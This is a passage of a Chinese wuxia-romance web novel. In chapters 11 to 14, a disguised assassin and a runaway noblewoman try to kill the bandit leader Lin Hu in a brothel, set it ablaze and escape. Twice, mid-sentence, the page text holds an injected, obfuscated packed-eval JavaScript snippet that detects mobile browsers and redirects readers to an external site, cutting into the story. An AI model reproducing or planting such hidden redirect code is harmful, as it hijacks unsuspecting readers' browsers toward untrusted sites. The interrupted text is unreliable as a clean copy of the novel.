徐吟寒点了点头:“今晚动手。” “若是没记错,他人就在完启楼,你伺机行事就行。” 姜演:“好。” 他戴起面罩,提剑先走一步,忽然听到门后一道清脆的响动。 “谁?!” 一不留神,明越腰间那副贵月楼的令牌竟掉在了地上。 她慌乱拾起,来不及反应,脑子一热就拽着灵澈往寺庙里跑。 两人自门后现身,徐吟寒蓦然侧身,手上不知何时多出的一把菱形飞镖,随着他两指一松朝她疾速飞去。 与此同时,明越脚底一滑,在利刃即将刺入她后颈时,落下台阶摔了个四脚朝天。 …… 飞镖从她头顶飞过,刺入地板发出一声刺耳的铮鸣。 明越保持着躺在地上的姿势,一时间头晕目眩。 如果她没看错的话,那是把刀对吧? 而且准头极好,如果没有这突如其来的摔倒,她现在已经是一具七窍流血的尸体了。 “是你?!” 姜演惊诧,“你在那儿做什么?” 徐吟寒眼底也闪过一丝讶异,两人走近后,看见明越摔得连连嘶声。 她顾不得浑身僵疼难忍,坐起身仰面看着徐吟寒,脸颊鼻尖都泛红,像是又狠狠哭了一遭。 她隔着他紧窄的袖口,轻轻拽了拽徐吟寒的手腕,见他不为所动,又握住他的几根手指。 明越吸了吸鼻子,鼻音沉闷:“十一。” “我也想跟你玩。” 11. 缚雪 一炷香前。 姜演给眉州那边传过信后,收到了八方幕其他兄弟的消息。 距离龙虎门占领临安已过了好几日,并无其他异动,但大梁皇室已经派兵清剿龙虎门,龙虎门灭门也只是时间问题。 龙虎门如何,八方幕并不在意,但龙虎门真正的一把手林虎,就是在贵月楼与徐吟寒抢万金悬赏的刀疤男。 在这之前,徐吟寒离开黄耆古寨前,在黄耆山恰巧遇到林虎执令,与贵月楼的杀手十一起了冲突。 徐吟寒袖手旁观,无意中得知了万金悬赏的事。 林虎一怒之下手起刀落,十一曝尸荒野,这一幕被徐吟寒用作威胁林虎的筹码。 贵月楼的杀手自相残杀乃是大忌,一旦被发现就可能被其余杀手追杀,再也接不到任何悬赏。 林虎怕自己就此被除名,只得乖乖告诉徐吟寒万金悬赏的内容,与悬赏主指定的信物。 再戴上贵月楼为每个杀手定制的面具,他与十一身形相仿,很容易就能代替十一。 林虎唯一的要求,就是要在悬赏会时让徐吟寒与他做一场戏。 贵月楼的人都知道他接下了上次悬赏会中的万金悬赏,要是他空手而归可能会惹人怀疑。 自此,徐吟寒便能名正言顺的变成杀手十一。 …… 这些都是后话。 最重要也成为了最大变数的是,林虎是唯一一个知道徐吟寒假冒十一的人,也是唯一一个见过徐吟寒真容的人。 万一他在被逮捕时不小心透露出什么,徐吟寒的身份就有暴露的风险。 盯着林虎动向的八方幕中人递来消息,说是林虎就在徵州的完启楼内,明日便会动身离开。 今晚是最好的机会。 但姜演与徐吟寒商议时,两人都敏锐地察觉到了似乎有人在暗中窥伺。 在他们说到“完启楼”时,那人就跑远了,姜演远远一瞧,发现是寺庙里的小沙弥。 他们早就知晓衍回寺内暗探众多,无尘住持更是神秘莫测,小沙弥很有可能是去给什么人通风报信,但他没听全内容,可能会带人折返。 两人便想先装装样子,等小沙弥和他带的人来了,再一网打尽。 但此时此刻,看着坐在地上可怜兮兮的少女,与她身侧那杀气腾腾的飞镖,徐吟寒反而觉得很不可思议。 她怎么就不能安分做个单纯的悬赏主,非要一次一次,再二再三地挑战他的底线。 垂落身侧的手被一只柔软温暖的手攥紧,全身血液都变得凝固麻木,徐吟寒垂下眼,看着她。 明越对上他的视线,道:“看我干什么?” “快拉我起来啊。” 徐吟寒忍耐地眯了眯眼,用另一只手,一一掰开那几根白皙的手指。 但那几根手指又缠了上来。 他都想再放过她一次了,但她还是学不会见好就收。 眼见徐吟寒的耐心即将消耗殆尽,姜演忙悄声对明越道:“我师父他不喜旁人触碰,他……他心有所属,你又不是不知道。” 明越歪了歪头,思考了下。 这个十一竟为了素未谋面的她如此守身如玉,她倒是又有点于心不忍了。 想了会儿,明越松开徐吟寒的手,灵澈凑上前来扶起她。 她关心了下灵澈,又仔细拂去二人身上的灰尘。 “不拉我也行,但是,”明越拂尘的手顿了顿,继续道,“你今天不论去哪玩,都一定要带上我。” “……玩?” 徐吟寒慢悠悠吐出这个对他来说异常新奇的字眼。 “对啊,不然我就让贵月楼扣你的赏金!” 明越得意洋洋地屈指叩响手中的令牌,“钱就是万能的,对吧,十一?” 姜演立刻摆手:“不不不,我师父他不是去玩……” “好啊。” 徐吟寒蓦然勾了勾唇,眸底森凉一片,“——我带你去玩。” * 夜半三更,明越避开无尘住持与灵澈他们,去衍回寺外的树林里与徐吟寒会和。 徐吟寒就抱臂倚在树旁,衣裳与白日一样,只有蹀躞带上闪过几束银光,稍不留神,身影就没入了黑暗里。 明越看了眼自己身上的粉衣大氅,再看看一身黑的徐吟寒,不解问:“你出去玩,也不换件鲜亮的衣裳吗?” 她的还是无尘住持为她新做的冬装呢。 “而且还非要这么晚去玩……” 初冬渐近,夜风寒凉,明越裹紧暖和的鹅绒氅衣,撇了撇嘴,越来越小声,“一点也不知道心疼人。” 徐吟寒垂眼扫过她崭新的裙摆,粉色布料上还流动着月光般的银白暗纹。 发髻梳得齐整,缀着粉白的发簪与流苏,像个不染纤尘的深闺小姐。 姜演离开前的话似乎还在耳畔。 “主上,您带着悬赏主去恐怕不太方便。您要干的是灭口的活,先不说该怎么与悬赏主解释,就算能蒙混过关,悬赏主一个姑娘家,您要是把她吓出个三长两短,也实在是……” “当然,我相信主上您肯定不会失手,也有自己的考量,我就是给您出几个小主意。” “实在不行,您就先支开她,杀了人再随便上哪逛一逛算了。” …… 若是没有姜演的提醒,徐吟寒还真没意识到明越是个“弱不禁风”的“姑娘家”。 有风拂过,吹动贴在她脸颊处的一圈柔软的鹅绒毛。她露在外面的皮肤被衬得如雪般瓷白,明越眨了眨眼,长睫弯翘,随风颤颤。 徐吟寒一动不动地想着,如果有人在她面前被她视为保护伞的人亲手割喉致死,她宝贝的新衣裳被那人脖颈处喷薄而出的鲜血溅上大片狼藉,她还能站在这里,无知又无畏地冲他笑吗? 他忽然很想试试。 “走啊,发什么呆呢?” 明越伸手在徐吟寒面前晃了晃。 徐吟寒被这一晃晃回了神,抬脚朝树林外走去。 明越忙不迭跟上。 明越起先还有些发怵,可她发现城中官兵很少,便也没什么好顾忌的了。 就是接连穿过热闹的大街小巷,徐吟寒却依然没有停下脚步的意思。 她快走几步走在徐吟寒身侧,问他:“要去哪玩啊?” 徐吟寒:“完启楼。” 完启楼?明越倒是没听过徵州还有这样的地方。 很快,明越就知道完启楼是什么地方了。 车水马龙之间,宽阔高大的楼阁屹立其中,高悬的牌匾上挑着大红的花灯,门外几个漂亮的姑娘在热情揽客,进出的客人皆一脸红腻柔情之态。 这这这……这明显是一座青楼啊!? 明越惊得合不拢嘴,愣愣扯了扯徐吟寒的衣褶:“你、你没走错吧?” “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040525|162502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐吟寒也没想到听起来这么正经的楼名,居然干着这么不正经的活计。 但徵州只这一座完启楼,想来应该是没找错地方。 徐吟寒琢磨着该从哪里进,一个红裙姑娘看见他眼前一亮,扬着手帕就要朝他走来。 但明越还在震惊地观察着这座完启楼,她这辈子也是第一次靠近青楼。 徐吟寒眉心一跳,在浓郁的胭脂味窜进他三尺之内时,拉着明越的手腕转身就走。 红裙姑娘见人走了,整张脸都耷拉了下来。 另一姑娘目睹了一切,赶过来安慰她:“那位俊俏公子身旁还站着位姑娘呢,避开你很正常,他们男人都是人前人后两副德行,保不准他这次记住了你,下次趁那位姑娘不在就来找你了呢?” 红裙姑娘脸色稍缓,点头认同道:“那倒是有可能。” 她这般花容月貌,怎会比不过那个有些姿色但是又傻又呆的姑娘! …… 绕了一大圈,两人走到了人迹罕至的完启楼后面。 明越还没回过神来:“你真的要进去吗?” 徐吟寒望向围着完启楼的高墙。 明越从头至尾打量了番看起来淡然自若的少年。 之前还叹他守身如玉、洁身自好,现在居然要跑去青楼玩,在她面前都舍不得装一下了是吗! 明越:“你进去……你真的想玩吗?你就喜欢那种的?那你把你喜欢了三年的心上人放哪里?” 徐吟寒嫌她聒噪,干脆背过身去。 “你要是真想进去,那你自己进去吧,我可不想进那等肮脏污秽之地。” 闻言,徐吟寒挑了挑眉,侧过脸看她:“来了还想跑?” 明越瞪大眼:“那你还想怎样?难不成想让我看着你和她们……这样那样吗?” 说着,她脸颊竟染上了红。 这几年待在朝都明府无事可做,家人又不许她频繁出门,她便也看了些不清不白的话本子。 这样隐晦的说都让她感到无地自容,但没想到徐吟寒还只随意问了句:“哪样啊?” 上扬的音调像是一根羽毛,轻轻在她心口挠着痒痒。 “十一!!!” 徐吟寒懒得再逗她,别开眼,重新将目光放在眼前的高墙上。 明越看他这样,气鼓鼓道:“你又在打什么主意,还想翻墙进去密会你的小姑娘?真是人不可貌相……啊!” 话音戛然而止,变成了一道刺耳的尖叫。 转瞬之间,她的手臂被徐吟寒用力一扯,少年三两步借力登上高墙,还没等明越站稳,又向完启楼的房檐纵身一跃。 整个过程,明越都抑制不住断断续续的尖叫声。 直到少年终于停下,明越才惊魂未定地抱紧徐吟寒的胳膊。 她下意识望向脚底。 太……太高了,这也太高了! 视线中的人群都变得那样渺小,满街流光溢彩,都能尽收眼底。 “一惊一乍干什么?” 明越眼前又是一阵天旋地转:“我……我可能……” 刚想说她有恐高之症,可能又要像初见那般晕倒了,少年阴恻恻的嗓音混着风传来。 “你敢晕个试试。” 明越往旁边一看,朗朗黑夜中,徐吟寒正微微躬身,眼皮闲闲掀着,与她四目相接。 “晕了我就把你扔下去。” 12. 缚雪 听着这句阴沉的恐吓,明越立马觉得自己还能再坚持坚持。 毕竟徐吟寒看上去不像只是吓吓她,而是已经想把她扔下去了。 明越连忙拍拍胸脯,顺着胸口的气,将那股不适感强压下去,向徐吟寒重重点了个承诺意味的头。 徐吟寒直起身,抬脚踢掉一块松动的瓦片。 明越吓得一耸肩膀:“你干什么!” 瓦片从房檐掉下去,“咔嚓”碎成了两三块,而有一块松动的,自然也有第二块、第三块。 掀开那几块,勉强能看清完启楼里面的模样。 灯光昏黄,空气中伴随着脂粉味,冒出头就被冷风吹散。 明越和徐吟寒一样,眯着眼往里面看。 倒是和一般酒楼没什么分别…… 她又意识到了什么,忙收回视线看着远处的月亮。 徐吟寒瞥了她一眼,继续往里面看。 按照姜演提供的信息,林虎应该就在他脚底这间房间里才是。 但他看了好一会儿,都没看到林虎。 看来还是得从正门进去看一看。 他抬眼看着红透脸的少女,想了想还是道:“你在这儿等我。” 明越立刻警惕地看过来:“你要去哪?你竟敢把我一个人扔在这儿?” 徐吟寒刚想解释,又轻轻一笑:“我想……” “正大光明的,进去密会我的小姑娘。” * 红柚刚来完启楼不过小半个月,没办法像其他姐姐们随便朝街上一挥手,就能招揽来一大批客人,她也很烦恼。 刚才她看见那个戴着面具的公子似乎是在看着她这边,就鼓着勇气想主动一下,没想到还是扑了个空。 但她很快振作起来,学着姐姐们挥手帕。 人潮涌过,无人在她身前停留,但她忽然瞥见一道停滞在人群中的身影。 定睛一看,可不就是刚才急匆匆走开的面具公子吗! 难道真被姐姐说中了,公子刚对她一见钟情,这会儿便抛下了那个傻姑娘来找她了? 红柚顿时喜上心头,这回多了个心眼,慢慢踱步过去,小心翼翼朝徐吟寒道:“公子……要进来看看吗?” 半晌无声,红柚还以为自己又要扑空了,没想到听到了公子低沉的一声“嗯”。 原是这般好听的声音。 她心念一动,欢喜地要牵住公子的手,但公子却躲了开来。 可能是第一次来完启楼害羞了吧?反正人已经领进门了,红柚也没太在意,娇声介绍起了完启楼的规矩。 “我们这里的姑娘都是个顶个的好,就看公子的需要,有那灵动乖巧的,也有那温柔可人的……” 红柚向身旁的人抛了个媚眼,带着几分暗示道,“也有像奴家这种的……” 说着,她向那边柔柔挺动了下胸脯。 但公子好像并未因此动意,只道:“怎么才能去二楼?” 看着年纪不大,定力还挺强的,就是跟普通的毛头小子不一样。 红柚对这个清秀的公子更刮目相看了。 “二楼呀……那公子可要点姑娘们过夜了,公子可以先在一楼挑挑看看,让姑娘们陪您喝喝酒,有那合公子心意的,再上二楼也不迟。” 红柚知道这人对她不感兴趣,与其不要面皮地强求,还不如让给别的姊妹。 她刚要回去继续揽客,却见公子垂眼盯住她,唇边勾起一抹笑,低声道:“那就你了。” …… 二楼隔间里,林虎方才和龙虎门的兄弟们在一楼商量了明日离开徵州的事,留了一夜与姑娘们左拥右抱,借酒消愁。 林虎喝得满面绯红,呲牙咧嘴地笑:“等明日咱就撤出临安往南走,朝廷还想抓到咱们?” 另一男子道:“还得是虎哥,料事如神啊,兄弟们跟着你果然没错!” “就是没想到咱们搞出这么大动静,也没见八方幕的人出面,可惜了,知道虎哥您一直都想进八方幕,但凡有机会,兄弟们头破血流也要让您进去!” 说到这儿,林虎叹了口气:“八方幕一直都是我们江湖人的楷模,朝廷在咱们这儿作威作福那么久,八方幕敢站出来反抗,就是在替咱们撑腰。” “现在朝廷搜不到八方幕的踪迹,咱们也遇不到反而是好事,不强求了。” 男子举杯道:“虎哥大义,兄弟们都敬您!” 每一隔间都有抱琴奏乐的姑娘,丝竹管乐声绵绵不断,林虎听着乐声心情大好,将杯中酒一口饮尽。 “对了,虎哥,您听说飞云帮的事了吗?” 林虎:“就是那个经常跟咱们作对的?他们能有什么事?” 男子压低声音:“听说飞云帮不知得罪了什么人,有五人的尸首出现在徵州城外的乱葬岗,死状颇为可怖。” 林虎想了想,摆摆手道:“这世道每天都有人死,可能是他们命数尽了,没什么好大惊小怪的。” 男子点头道:“是,虎哥说的对。” 屋内炭火烧得暖热,林虎不一会儿就浑身冒起了热汗,他松了松衣襟,道:“去把窗户开开。” 说把,他向后仰躺在窄塌上,闭目养神。 他听见脚步声远去又离近,但许久也没感受到从窗边吹来的凉风,蹙起眉道:“让你开个窗都这么磨叽,不想活了?” 直到他感觉怀中的姑娘呜咽一声后栽倒下去,他才倏然睁开眼,剑光一闪,一抹尖锐的凉意抵在他的颈侧。 林虎的反应也算快,立马操起腰间的月牙刀。 “呲——” 利器相撞,火星乍起乍灭。 但颈边的冰凉不过挪了分寸,如一座撼不动的冰山。 顺带着,将那把自不量力的月牙刀往他那边压了压。 简单一个动作,让林虎雪上加霜。 那人力道惊人,林虎想抽回手,那人又发狠向前抵去。 他被迫仰头,脊背贴紧了塌背,胡乱扫过屋内,才发现所有人都已在转瞬间被眼前的少年放倒。 如今只剩他一人还在喘息。 冷风撞开了窗户,吹得屋内烛火摇晃,继而被掐灭。 屋内归于冷寂的黑暗,人影模糊不清。 但林虎总算辨认出了眼前人,不就是那个抓着他把柄不放的人吗!? 可自从上次悬赏会后,他被这人打成重伤,差点咽气,就再也没找过他的麻烦了。 他自知实力不如他人,便好声好气想跟少年打商量:“十一,我与你无冤无仇,上次的事算我冒昧,你何苦跟我纠缠不休!” 下一刻,长久的黑暗中忽然升起一簇火焰,短暂的照亮了少年冷白的下颌。 随即,火折子被那只骨节分明的手推了过来,凑近林虎还有些恍惚的双眼。 火光清晰的映在少年眸中,跳跃闪烁。 “但你该死。” 他的嗓音冷冽纯净,再次压近刀刃,逼向林虎的脖颈。 林虎被逼至穷途末路,另一手在黑暗中拿起一个茶壶,不由分说砸向徐吟寒的头。 徐吟寒偏头躲过,火折子掉在了地板上,被林虎抓住机会,从他刀下挣脱出来,执刀刺向他的胸膛。 “十一!” 不知哪传来一道少女的声音,两人都愣了愣,只见头顶刃面闪过,锋利的刀尖刺入林虎的肩膀。 林虎吃痛哀嚎,怒气冲冲朝声音的来处看去。 少女的脸出现在房檐破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040526|162502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 损的缺口里,乌发瀑布般从肩头垂落,焦急地看着徐吟寒。 刺进林虎肩头的刀柄上,挂着一条歪歪扭扭的圆形红绳。 …… 徐吟寒就这样不管不顾地走了,明越一个人看着远处迭起的山头,与高悬于天的明月,开始不停地发抖。 他是开心了,跟着那群如花似玉的姑娘玩,留她在这儿吹冷风。 还是在明知道她害怕的情况下,恐吓她威胁她。 明越越想越觉得委屈,干脆蹲下身来抱紧自己,默默骂徐吟寒。 “这个见色忘义……不是,见色忘钱的人……” “说什么要光明正大的密会小姑娘……哪个小姑娘能看得上他!痴人说梦……” 骂累了,也逐渐适应了房檐,明越闲着无聊,将袖袋中的红绳翻出来,又拿出腰间的短刀,开始摸索起一直困扰她的流苏穗子来。 心里怀着对徐吟寒的气,做这种东西她也不想着要让那人开心,而是让自己开心。 她突然想起,她名字里有个“圆”字,编其他的她不行,“圆”还不是信手拈来! 于是她直接将两股绳合成一股,隔一段就系个绳结,连着打了四个,就有五个圆圈整整齐齐出现了。 她很满意这次的成果,把这个剑穗牢牢绑在刀柄上,掌在手中发了会儿呆。 不知过了多久,明越听见哪里有刀剑相杀的响动传来,找了会儿,发现就在徐吟寒叩开的这个洞里。 方才她没敢多看,这会儿她大着胆子看过去,一眼就看到了徐吟寒。 都……都熄灯了,他不会真的要…… 再换个角度看了下,明越才发现徐吟寒对面是个男子,脸上有一道很长的刀疤,看着很是瘆人。 而且他们看起来也不像是在平心静气的谈话,明越想看得更清楚一点,但是实在太黑了,她看不见。 也太高了,她脑袋晕得厉害。 但很快,徐吟寒手里的火折子掉在了地上,瞬间点燃了屋内的地垫,照亮了她一直被黑暗虚化的视线。 于是她也看到男子已经挣脱开徐吟寒的桎梏,大叫着冲向徐吟寒。 来不及多想,她颤颤拔出短刀,瞄准方向,朝着男子的肩膀刺了过去。 “十一!” 她才想起要叫徐吟寒躲远一点,怕伤到他,但为时已晚。 也幸好她这刀很准,但在制住男子的同时,也让男子发现了她的存在。 “哪来的臭娘们……” 林虎骂骂咧咧操起肩膀上的利刃,用力投掷回明越的方向。 利刃的光影倒映在明越发愣的眼中,她似乎已经避无可避。 还好林虎射得并不准,只刺中了洞口的一片瓦,但崩裂的声音由小变大,最终变成大块的坍塌,屋檐向下塌陷,明越一个没站稳,随着瓦片一同掉落下来—— 徐吟寒闪避过成块的瓦片,抬头看见那团粉白的少女。 屋内火光烈焰,屋檐崩塌,他下意识伸出手接住明越,灰尘扑簌簌模糊着他的视线。 尘土如倾盆的暴雨,洗刷着二人身上的全部空隙。 徐吟寒揽着明越的腰背与腿弯,默不作声看着她被尘土弄脏的裙摆,站在光火中间,不动如山。 林虎见状,抓住机会连滚带爬地跑出了隔间,在外面扬声高呼有贼人闯入。 明越紧闭着的眼才睁开,一眼就看见了徐吟寒似是怔住的目光。 “十一?” 她的声音还在发抖,轻轻喊他。 徐吟寒依然没回应她。 望着满地的狼藉,被他打晕的龙虎门人与无辜的姑娘,碎裂的瓦片与冉冉火光,他只能想到一件事。 他这是……失手了? 13. 缚雪 整座完启楼被剧烈的火光吞噬包裹,隔间已是废墟一片。 百姓四散奔逃,林虎没入人群,趁乱喊了句“快抓住他”,浑水摸鱼离开了完启楼。 楼里的小厮忙着泼水救火,叫喊声吵醒了晕倒在二楼一隔间的红柚。 手边还有未饮尽的酒杯。她从酒桌上爬起来,望着黑漆漆的屋子,一时有些怔然。 那位面具公子选了她,她就带着公子上了二楼掌柜安排的牡丹房,后来公子说想先喝些酒尽兴,她就带公子来了另一间无人的房间…… 后颈传来一阵刺骨的疼痛,红柚嘶着声揉了揉,摇摇晃晃站起身推开隔间的门。 隔间在最末端的角落里,她愣愣看过去,入目便是四溅的火光与里外狼狈的人群。 她拦住一个端着水盆的小厮,刚要开口问,看见掌柜急匆匆带了衙门的官兵上楼来,一指牡丹房旁边已被烧得不堪入目的房间。 “放火的人就在这里面!火势如此之大,我的人都在楼里楼外盯着,他们绝对没跑出来!” 但此时官兵还进不去,只能等火被扑灭再进去察看。 红柚偷偷穿过人群,想去牡丹房看看面具公子还在不在。 尽管她心里猜测,那位奇怪的面具公子恐怕和这场火脱不了干系,她还是想再去确认一下。 “公子?” 她小声喊着,轻轻推开刻印着大朵牡丹的屋门。 屋内点着熟悉的兰雾香,仅窗台上有一盏昏黄的红烛,半扇屏风后的暖帐微荡,隐隐约约被烛火勾勒出一男一女两道姣好的身形。 意识到榻上可能发生着什么,红柚慌乱低下头去。 “抱歉打扰了二位,我我我……我就是想跟二位说一声,楼内有贼人闯入,请二位务必谨慎些。” “我先走了,二位自便!” 红柚拍拍胸脯,还在为方才的闯入感到脸热。 看来她误会面具公子了,可能是她不小心醉倒了,公子便找了旁人吧。 …… 屋门再度合起,暖帐被一只纤细白皙的手拂开,一双圆亮的眼颤颤打量着外面的情形。 看到一切如常后,明越将适才屏住的那口气慢慢呼出,转回头道:“还好我聪明……” 她看向一旁靠墙坐起的徐吟寒:“不过你刚刚要说什么来着?” 少年一手搭在曲起的膝盖上,百无聊赖把玩着手里的短刀,闻言抬眼看她:“现在说还有意义?” 明越背后是层层叠叠的纱幔,她怕不小心掉下去,只能直起身来,向里侧膝行几步。 “你得感谢我知道吗?没我你现在就被衙门抓走了!” 她抬了抬下颌,邀起功来:“关键时刻还得是我带你逃出生天。” 徐吟寒不置可否,随意晃晃刀柄上歪歪扭扭的穗子。 大火蔓延开来时,他本想将林虎追回来杀了,明越却拉着他要让他从窗户带她走。 “万一被抓到我们不好解释的,还不快走!” 她好像比他这个杀人未遂的人更惊惶,尤其在窗户上看到包围完启楼的官兵后,她眼底的无措更甚。 明越躲去窗后,脊背靠向镶嵌檀柜的墙,却意外打开了一扇通往隔壁牡丹房的暗门。 二楼的隔间与各花房用处都不同,明越烫到般缩回了手,几秒后又戳了戳徐吟寒的手背:“……你过去看看。” “?” 徐吟寒压根就没想再往哪里躲,就算现在从窗口走会被官兵发现,他也没什么所谓。 没人能拦得住他。 他反手掌住明越的手,就要翻身走窗,没想到明越竟直接蹲了下去,视死如归般与他较量。 “你从那儿走我就扣你赏金,你一两银子都拿不到!” 徐吟寒的耐心即将宣布告罄,又听她急促道:“我怕高,我会晕倒的,我一定会晕倒的,你也不想带着个负累走对吧!” 徐吟寒:“你……” “我不管我不管,你必须按我说的做!” “……” 两人一直僵持着,最终被明越耗没了时间,两人只得躲进牡丹房。 还没喘口气,又传来了一阵敲门声。 明越一时着急,直接将与她面对面站着的徐吟寒推进身后的暖帐。 纱帐漾起,徐徐铺开一层粉红的光晕。 明越顺势垂下眼,有些愣神的看着被她压在身下的少年。 她的双手撑在他腰腹两侧,乌发顺着肩头,落在他支起的宽阔双肩。 “公子?” 徐吟寒歪头朝暖帐外看去一眼,却好像感受到了少女温热的吐息,柔风似的拂过他耳畔。 …… “那我们走吧。” 明越从榻上折腾起来,理了理衣裳的褶皱,指着窗外,“就像你第一次带我逃走那样。” 隔着层层纱幔,徐吟寒看着她从容的模样:“这次不会晕倒了?” 明越一噎:“我……” “我还是很讲道理的,”她躲开他的视线,“不该晕的时候就不晕。” “……” 要不是她方才胡搅蛮缠阻拦他,他说不定会信一分。 徐吟寒拂开暖帐,抬脚向窗边走,“我也很讲道理。” 擦肩而过时,明越的手腕被牢牢攥住,窗户大敞,迎面是冰冷的夜风。 “该算的账,一笔都不会少。” * 完启楼走水一事也惊动了驻扎在徵州城内的羽林卫。 陆绥受命从八方幕手中救回明越,他想从明府多了解一下这位素未谋面的太子妃,奇怪的是,明府不仅连画像都给不出一张,对自己的女儿也知之甚少。 几番打听,他才知道原来明越是三年前才被接回府中的,之前她一直住在徵州的衍回寺,被住持收养。 陆绥觉得,找到衍回寺的住持,会比与明府周旋来得更快。 他今晚打算去衍回寺借宿,突然听说完启楼走水的隔间,住的是龙虎门之人。 但凡有一丁点与八方幕有关的消息,他都不能错过。 奈何等火被扑灭,里面横七竖八躺着的人都已经濒临断气,谁也说不出点什么来。 “大人,楼内楼外都搜遍了,并无可疑之人。” 一将士道,“放火之人估计已经逃走,咱们要在徵州加大力度搜查吗?” 这场火将屋内所有陈设都烧得一干二净,也烧光了所有线索。 陆绥转身出门:“不必了。” “那咱们现在是……” “去衍回寺。” * 两人停在衍回寺附近的树林里。 明越跌跌撞撞扶住一棵树,努力撑起晕晕乎乎的身子。 徐吟寒就在一旁看着,也不催促,不知道在想什么。 明越稍微缓过来点,用手背拭去鬓角滴落的冷汗,忽然盯住自己的手开始发愣。 夜色深沉,她只能分辨出与自己皮肤不符的几处脏污。 明越使劲眨了眨眼,靠近嗅了嗅,又猛然拿开。 “好臭好臭好臭!” 徐吟寒刚要扯下明越系在刀柄上的剑穗,闻言看过来。 少女抻直了手臂,捏着鼻子别开头。 这年头还有这么嫌弃自己的? “怎么会有血迹?” 明越后知后觉的回想了下,在身上翻来覆去找伤口。 胳膊上也没有受伤的痕迹,她轻轻握了握那只染血的手,想起这只手触碰过的地方。 十一的刀柄、屋檐上的瓦片、还有…… 十一的胸膛、肩膀,和他的手。 她意识到什么,朝徐吟寒走过去,不由分说拉起他掌刀的那只手。 尽管眼睛看不清楚,但她感受到了他袖口上黏黏糊糊的湿迹。 “十一,你这里都是血。” 明越说着,挽起他的衣袖,一道骇人的血痕映入眼帘。 血腥气在空气里弥漫开来,浓烈又刺鼻,明越眉头紧蹙,但没有像刚才那样躲开。 而徐吟寒手中的剑穗,再一次沾上了血。 少女的指腹轻轻划过伤口的边缘,痒痒的。 “这么大的伤口,你都感觉不到疼吗 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她稍稍凑近他,歪了歪头:“真不是啊?” 徐吟寒的半边脸被面具遮着,另外半边脸又陷在阴翳里,明越看不清他的神情。 她双手扶着他的小臂,又凑近一分,歪着脑袋看他的眼睛:“原来不是啊。” 徐吟寒向后挺起背,离她远了些,“别自作多情。” 明越收回视线,继续缠手里的布条,轻轻叹气,“你说不是就不是咯。” * 从这里回到衍回寺只需一刻钟,而为了徐吟寒的伤,明越特意走得飞快。 她跟在徐吟寒身后,时不时催促他快一点。 再转个弯就能看见衍回寺的牌匾时,徐吟寒忽地停下了脚步,明越没刹住脚,撞上了他的背。 明越正要埋怨,又清楚地听到有一阵整齐的脚步声从林中传来,愈来愈响。 听声音,大概是有三五个人。 而且都不是普通人,极有可能是…… 她有一阵不好的预感。 “应该是附近巡逻的官兵。” 徐吟寒回过头来,扫了眼僵在原地的明越,继续,“没什么大碍。” 他手臂上还有明越给他系的那个,美名其曰与剑穗异曲同工,很“漂亮”的绳结。 或许是布条起到了保暖的作用,他始终觉得手臂有些烫,抬起时莫名僵硬,不如早点回去把它换了。 但袖口忽而被身后人攥紧,他又一僵,拉脱那人的手。 “我……” 明越又恢复了与在完启楼时一样紧张的样子,吞吞吐吐道,“我还有点不舒服,想先休息一下再回去。” “……” 衍回寺都已经近在眼前,她还想在这儿吹冷风。 徐吟寒头也不回向前走:“你自便。” 身后的人“噔噔噔”跟上来,极小声喊他:“十一!” 少年身量那样高,明越很努力踮起脚与他说:“没你跟我一起我会害怕的。” 那些人十有八九是朝廷派来寻她的人,她早该想到的,就算不怀疑是她逃婚,也一定会到衍回寺,这个她曾经住过多年的地方找线索。 她绞尽脑汁想找个理由拖住徐吟寒,以为少年的沉默便是默认,刚想松口气,便见少年转回身来,一手撑着她身侧的树,微微俯身盯她。 月光澄澈明亮,映照出他银白面具上流动的暗纹。 “我、我说真的。” 明越喉间一滚,不知怎么,被他盯得心里直发毛。 他凑近似乎只是为了更好捉住她断续逃窜的视线,黑眸如深不见底的潭水,几乎让她溺入其中。 “是吗。” 他自上而下,从她额顶的细汗,审见她干涸的唇。 “这么需要我,那你跟我说说。” 他的目光像一柄利刃,慢慢划破她伪装的外衣。 “……你究竟在害怕什么?” 14. 缚雪 心跳声几乎要淹没她此时所有的理智。 明越不自觉后撤一步,正欲张嘴,冷冽的声音自头顶传来。 “不想说?” “不是……” 徐吟寒恍若未闻:“那我替你说。” “……” 明越偏过头,就看见他撑着树干那只骨节分明的手,指尖压得泛白,白皙的皮肤下,现出若隐若现的青色经络。 “你一遇到官兵就想方设法要避开,你在怕这个。” 徐吟寒哂笑,“你有什么见不得人的?” 明越连忙摇摇头:“我没怕他们。” “还是说,你犯了什么滔天大罪?” “十一!” “和什么有关,我想想,”他的眼神蓦然变得冰冷,“——八、方、幕?” …… 徐吟寒的话,句句都振聋发聩。 明越惊到合不拢嘴,但还是压住心底的惊慌,强作镇定:“你瞎说什么呢。” 闻言,徐吟寒指了指脚步声的方向:“那你解释解释?” “我解释什么……” “圆圆阿姊!” 青稚的喊声打破了两人间冷滞的僵局,明越如蒙大赦看过去,简直喜极而泣:“灵澈!” 一个小身影从幽暗的林中钻出来,蹦蹦跳跳奔向明越。 “你怎么来找我们啦?” 明越蹲下身,掐了掐他肉乎乎的脸蛋。 灵澈笑道:“住持说天黑路滑,阿姊又看不清楚,就让我和其他哥哥们在附近找阿姊,可算让我等到了!” 明越也跟着他笑:“就算我看不清楚,我还有人同行啊。” 她虽说安心了点,但到现在都不敢回头看徐吟寒。 